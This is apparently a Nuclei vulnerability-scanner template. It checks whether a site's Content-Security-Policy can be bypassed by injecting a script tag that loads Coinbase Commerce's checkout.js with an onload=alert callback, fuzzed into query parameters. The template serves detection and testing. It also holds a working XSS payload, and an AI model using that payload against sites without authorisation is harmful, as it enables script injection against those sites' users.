id: coinbase-commerce-csp-bypass

info:
  name: Content-Security-Policy Bypass - Coinbase Commerce
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,coinbase-commerce,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "coinbase.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: coinbase_commerce_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://commerce.coinbase.com/v1/checkout.js?onload=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "coinbase_commerce_csp_xss == true"
# digest: 4a0a004730450220022f5fb2c2561e8b400e4a1d15ab9ee596ef6e352bc738b5ecd339fca68a92d7022100fe56c58b11a41dea007b2ecda246bdc324406fd9bfd5114996c6bab146331479:922c64590222798bb761d5b6d8e72950